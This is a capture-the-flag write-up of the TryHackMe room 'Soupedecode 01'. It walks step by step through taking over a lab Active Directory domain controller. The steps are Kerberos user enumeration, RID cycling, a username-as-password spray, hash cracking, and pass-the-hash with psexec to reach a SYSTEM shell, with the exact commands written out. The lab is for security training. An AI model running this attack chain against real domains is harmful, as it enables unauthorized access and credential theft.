Soupedecode 01 - TryHackMe

This machine, named Soupedecode, is an intense and highly engaging Windows challenge. It revolves around compromising a domain controller by leveraging multiple Active Directory attack vectors. Throughout the engagement, we will enumerate SMB shares, perform password spraying against Kerberos authentication, and utilize Pass-the-Hash techniques to escalate privileges. This challenge offers a realistic look into the attack chain commonly seen in enterprise environments. Let’s walk through each stage of the compromise and uncover the path to owning the domain!

Challenge : Soupedecode 01

---

Initial enumeration

Nmap

We begin with a full port scan in order to see what services are exposed :

nmap 10.10.92.122 -sV -sC -Pn -p- -oN nmapres

Results :

The scan reveals a Windows Domain Controller hosting several key services:

• 53/tcp (DNS) – Indicates the machine likely resolves domain-related queries internally.

• 88/tcp (Kerberos) – Confirms the presence of Active Directory authentication.

• 389/tcp & 636/tcp (LDAP/LDAPS) – Used for directory queries; may expose domain structure.

• 3389/tcp (RDP) – Remote desktop is open, potentially usable later for direct access.

From the service banners, we identify the hostname as DC01 and the Active Directory domain as SOUPEDECODE.LOCAL.
SMB signing is enabled and required, which will limit certain SMB-based relay attacks but still allow enumeration and authentication attempts.

enum4linux-ng

Then we can run enum4linux-ng against the target to gather domain-related information. The scan returned several important findings that will guide our next steps.

enum4linux-ng -A 10.10.92.122 -oA results.txt

Domain Name and FQDN :

[...]
Domain: SOUPEDECODE.LOCAL
NetBIOS Domain Name: SOUPEDECODE
FQDN: DC01.SOUPEDECODE.LOCAL
[...]

This confirms we are dealing with an Active Directory environment and identifies the domain controller’s fully qualified domain name (FQDN). These values will be essential for Kerberos-based attacks and for correctly setting up our /etc/hosts file.

Hostname :

[...]
NetBIOS Computer Name: DC01
[...]

The machine name DC01 strongly suggests this is the primary Domain Controller,the heart of the AD environment and our ultimate target.

Open Ports and Services :

The scan confirmed key services running on the DC:

• LDAP: 389 (LDAP) and 636 (LDAPS)
• SMB: 445 and 139
• Kerberos: 88

These services are exactly what we expect in an AD network and will be our main attack vectors.

SMB Protocol Support :

[...]
SMB 1.0: false
SMB 2.02 / SMB 2.1 / SMB 3.0 / SMB 3.1.1: true
SMB signing required: true
[...]

SMBv1 is disabled (good from a defensive standpoint). However, SMB signing is enabled and required, meaning SMB relay attacks won’t be possible, but password spraying and Kerberos authentication attacks are still viable.

SMB Session Access :

[...]
Null session: not allowed
Random user session: allowed
[...]

Null sessions are blocked, but the server accepts connections with a valid username even if the password is empty. This means that once we discover valid usernames, we may be able to enumerate more information without needing their password.

Operating System :

[...]
OS: Windows Server 2016/2019/2022
Build: 10.0.20348
[...]

The build number corresponds to Windows Server 2022, a modern and hardened OS. This may limit some legacy attacks but won’t protect against credential-based exploitation.

Summary :

From this initial enumeration, we have confirmed:

• The target is a Windows Server 2022 Domain Controller named DC01.

• The domain is SOUPEDECODE.LOCAL.

• Kerberos, LDAP, and SMB are open and ready for enumeration.

• SMB signing is enforced, preventing relay attacks but allowing other authentication-based approaches.

• Finding valid usernames will be our next priority, as they could open the door to deeper enumeration.

Our next logical step will be user enumeration, for example, using tools like kerbrute to identify valid accounts for password spraying or Kerberos ticket attacks.

Kerbrute

Using a wordlist and the domain controller, we can enumerate valid usernames via Kerberos :

kerbrute userenum --dc DC01.SOUPEDECODE.LOCAL -d SOUPEDECODE.LOCAL /usr/share/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt

These usernames can now be leveraged to query the Active Directory, perform RID attacks, or for Kerberos password guessing in order to enumerate additional valid accounts.

SMB Null Session enumeration

After identifying valid usernames via Kerbrute, we tested which accounts could authenticate over SMB without a password using nxc smb :

nxc smb DC01.SOUPEDECODE.LOCAL -u <username> -p ''

Results :

• admin and charlie returned STATUS_LOGON_FAILURE, meaning a null login was not allowed.

• guest successfully authenticated with a blank password, indicating a null session was permitted.

This allowed us to access SMB shares and enumerate available resources on the server without needing credentials, providing a foothold for further enumeration, such as listing shares and potentially performing RID cycling to discover additional user accounts.

smb_lookupsid

We used the Metasploit auxiliary module scanner/smb/smb_lookupsid to enumerate users on the target SMB server. The module allows resolving SIDs to account names, leveraging a feature of SMB that does not require full authentication :

Steps taken :

msf6 > search lookupsid

Matching Modules
================

   #  Name                                                   Disclosure Date  Rank    Check  Description
   -  ----                                                   ---------------  ----    -----  -----------
   0  auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli  .                normal  No     Microsoft SQL Server SQLi SUSER_SNAME Windows Domain Account Enumeration
   1  auxiliary/admin/mssql/mssql_enum_domain_accounts       .                normal  No     Microsoft SQL Server SUSER_SNAME Windows Domain Account Enumeration
   2  auxiliary/scanner/smb/smb_lookupsid                    .                normal  No     SMB SID User Enumeration (LookupSid)
   3    \_ action: DOMAIN                                    .                .       .      Enumerate domain accounts
   4    \_ action: LOCAL                                     .                .       .      Enumerate local accounts


Interact with a module by name or index. For example info 4, use 4 or use auxiliary/scanner/smb/smb_lookupsid
After interacting with a module you can manually set a ACTION with set ACTION 'LOCAL'

msf6 > use 2
[*] Using action LOCAL - view all 2 actions with the show actions command
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf6 auxiliary(scanner/smb/smb_lookupsid) >
msf6 auxiliary(scanner/smb/smb_lookupsid) > set RHOST 10.10.213.214
RHOST => 10.10.213.214
msf6 auxiliary(scanner/smb/smb_lookupsid) > set SMBUser Guest
SMBUser => Guest
msf6 auxiliary(scanner/smb/smb_lookupsid) > set MinRID 1000
MinRID => 1000
msf6 auxiliary(scanner/smb/smb_lookupsid) > set MaxRID 2000
MaxRID => 2000
msf6 auxiliary(scanner/smb/smb_lookupsid) > run

Results :

    Type   Name            RID
    ----   ----            ---
    User   DC01$           1000
    Alias  DnsAdmins       1101
    Group  DnsUpdateProxy  1102
    User   bmark0          1103
    User   otara1          1104
    User   kleo2           1105
    User   eyara3          1106
    User   pquinn4         1107
    User   jharper5        1108
    User   bxenia6         1109
    User   gmona7          1110
    User   oaaron8         1111
    User   pleo9           1112
    User   evictor10       1113
    [...]
    User   qjack289        1389
    [...]
    User   stina909        1981
    User   ereed910        1982
    User   qvictor911      1983
    User   apaul912        1984
    User   ccharlie913     1985
    User   gnoah914        1986
    User   uyvonne915      1987
    User   dfiona916       1988
    User   xtom918         1989
    User   agloria919      1990
    User   urose920        1991
    User   lzach922        1992
    User   xkylie923       1993
    User   mquinton924     1994
    User   lfiona925       1995
    User   yfrank928       1996
    User   vkevin929       1997
    User   iyusuf930       1998
    User   ifrank931       1999
    User   pyara932        2000

[*] 10.10.213.214: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_lookupsid) >

Then we can create a users.txt file where we can found those usernames :

Now we can extract the usernames with the following command :

grep "User" users.txt | cut -d " " -f8 | cut -d " " -f1  > users2.txt

Password spraying attack

Once we have our list of usernames in users2.txt, we can attempt to find a valid username/password combination by leveraging poor password practices, such as users setting their password identical to their username.

We used Kerbrute to perform a password spray attack where each username is tried as its own password using the --user-as-pass option :

kerbrute passwordspray --user-as-pass -d SOUPEDECODE.LOCAL --dc DC01.SOUPEDECODE.LOCAL users2.txt -v

This scan revealed one valid login :

All other accounts returned Invalid password. This confirms that the user <REDACTED> used their username as their password, allowing us to authenticate without any additional credentials.

With this valid login, we can now access services on the domain to enumerate shares, explore accessible resources, and potentially escalate privileges.

---

User flag

Using the retrieved credentials, we first checked what SMB shares the user had access to. Running smbmap allowed us to enumerate shares and confirm our permissions :

smbmap -u <username> -p <password> -H 10.10.213.214

The output shows that the user has read-only access to the Users share, while sensitive administrative shares like ADMIN$ and C$ are not accessible :

Next, we used smbclient to explore the Users share :

smbclient //10.10.213.214/Users -U <username>

Navigating to the user’s Desktop directory revealed the user.txt file containing the user flag :

---

Root flag

After compromising the initial user account, I switched to another machine (TryHackMe AttackBox Machine) due to issues with impacket, which was not functioning properly on my environment. Once on the new machine, I dumped the hashes from the system. With these hashes in hand, I proceeded to attempt offline cracking using John the Ripper to recover password :

john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

Results :

This provided the plaintext credentials for the file_svc account, allowing further privilege escalation steps :

With the recovered credentials for file_svc, I attempted SMB enumeration to identify accessible network shares with the following command :

smbmap -u "file_svc" -p <REDACTED> -H 10.10.213.214

The scan revealed multiple shares, with backup being accessible in READ ONLY mode.

I connected to the share using smbclient:

smbclient //10.10.213.214/backup -U file_svc

Listing the contents showed a file named backup_extract.txt. I downloaded it locally :

Inspecting the file revealed what appeared to be NTLM hashes for several machine accounts :

Our goal was to separate the machine account names from their hashes for testing. First, we extracted the server names :

cat backup_extract.txt| cut -d ":" -f1 > servers.txt

Then, we extracted the corresponding NTLM hashes:

 cat backup_extract.txt| cut -d ":" -f4 > hashes2.txt

With the lists prepared, we used NetExec to test each machine account against the domain controller :

nxc smb SOUPEDECODE.LOCAL -u servers.txt -H hashes2.txt --no-bruteforce

In our case, the account FileServer$ was flagged as (Pwn3d!), indicating it had admin-level access :

With the compromised machine account identified (FileServer$), we leveraged Impacket’s psexec.py through our prepared environment to execute commands remotely on the target Windows machine. This allowed us to upload a malicious executable and spawn a system-level shell :

/root/.local/share/uv/tools/netexec/bin/psexec.py 'FileServer$@10.10.213.214' -hashes ':<REDACTED>'

Once the service was running, we had an interactive shell as SYSTEM :

From here, retrieving the root flag was straightforward. Using the correct absolute path in Windows syntax, we ran :

type C:\Users\Administrator\Desktop\root.txt

This confirmed full administrative compromise of the target machine.

---

Congratulations! I hope you found this write-up insightful. This CTF was an engaging challenge that emphasized the importance of enumerating network services, analyzing machine account permissions, and leveraging Windows misconfigurations for privilege escalation. From identifying the writable share and exploiting the FileServer$ machine account to gaining SYSTEM access and retrieving the root flag, this challenge demonstrated how methodical enumeration and persistence are essential in penetration testing.

Thanks for reading, and happy hacking!